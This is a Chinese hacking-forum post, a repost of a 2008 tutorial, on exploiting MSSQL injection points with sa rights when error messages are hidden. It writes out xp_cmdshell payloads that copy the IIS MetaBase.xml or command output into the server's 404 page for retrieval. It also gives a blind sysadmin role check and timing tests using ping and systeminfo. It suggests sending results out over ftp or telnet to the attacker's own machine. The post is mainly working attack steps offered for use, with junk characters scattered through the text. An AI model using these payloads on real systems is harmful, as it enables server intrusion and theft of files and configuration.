找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2265|回复: 0
打印 上一主题 下一主题

28度的冰注入技巧之(一)——404页面的妙用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:15:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。6 b* g7 O1 ~' h+ a& M

( ?1 C- p$ u/ n) \4 a  虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
  \( @: L% S# K( ^! O! C6 O7 m- K/ K- Q7 t
  这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
$ R% w) X8 K, d2 Y5 I4 N7 d+ z
! _8 N* g8 \8 s7 Q+ ?8 v$ D. v! o  IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm  C4 o0 i( {. \2 B# @- c
9 n9 J: O8 K; e) j  E5 f
  得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--+ }9 Z* J; l2 j1 Z9 y/ A, l
# w" l: |4 E2 e9 A7 Y: |  s( G
  ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
+ Y, _( K! b) ]6 w
  r- O. [' m" ~: p5 ~* m7 Y  执行命令得到回显
+ f% r! q- j9 H( y  |) T4 I: d# T3 U/ q, H% S& b3 g
  通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--$ J( }$ J: ?5 b: c7 r

+ \9 Y1 _- o+ C. @2 A  得到文件也shi相同,把文件copy到404b.htm就行了
; h& Z) }: c" F
+ X3 p. G& r( U) P! z( l3 I0 Q$ |  by 28ice, 2008/6/26
0 S! ~6 }8 H: g! W* T6 U
! g% W8 Y! _  }+ h  C! S: ]' R& W. k  摘自 28度的冰9 b% j) p' o3 q

; Z1 n3 ^$ S. X+ w  盲注判断权限和操作系统版本3 s: A0 Q5 \6 Y9 l- X! N
/ ^2 I: Z9 m5 u; ~
  首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?+ V4 Q7 ~6 ?) |' N
5 H1 C  P7 |$ N" T1 D
  最简单的,可能以用这样的方法:
4 ~9 @; F' U, [2 C' u. p1 X, G- l. p  N, ]% M% w0 r2 [4 {$ r
  1=(select IS_SRVROLEMEMBER(’sysadmin’))& `3 [1 s% N0 j, o' E
2 S  V2 d& p  x6 ]$ n+ c# B
  当然,有些情况下,这个方法并不奏效。0 p2 R2 m$ ]2 e% v) |* d
$ o7 n8 g0 T! N
  既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
5 M& r7 @$ {% r7 h  l3 N- b+ L/ d' [- W" g; k
  有个3办法可能以解决这个问题
4 x8 e" b0 k, j7 s" r4 T3 x1 c7 X3 \( W- F( `# o8 Z) B+ l: L
  a.把执行结果写到404b.htm,具体请看我的上一篇文章
+ f- F% t5 K( _  ^+ F
. C  }1 ^( z. j8 N1 |5 F% J  b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
0 I' N0 }( Z2 Z6 i  ~, ^- M/ g1 a# T: Y6 U3 K' G7 {( {
  c.如果1433端口可能以连接,那干脆新建个sql登录: e9 q' R" f+ i8 J6 Z' z

+ `6 @1 k$ a: e  ]6 Q- h  d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数9 ^7 V% d$ L: Z# l
! v& t& D- r: R: f1 Y0 |/ ?& A2 e
  还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
' z' \0 {. ~; z7 ^
: W% `5 P1 O0 y3 u2 u) P  很简单, O  B4 I8 i4 {$ F: e6 S, a
* \, X; |8 S- D) W
  执行systeminfo
2 [2 N) n7 e! Q3 ~1 T' l3 M% i5 K- n% ^% j
  在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表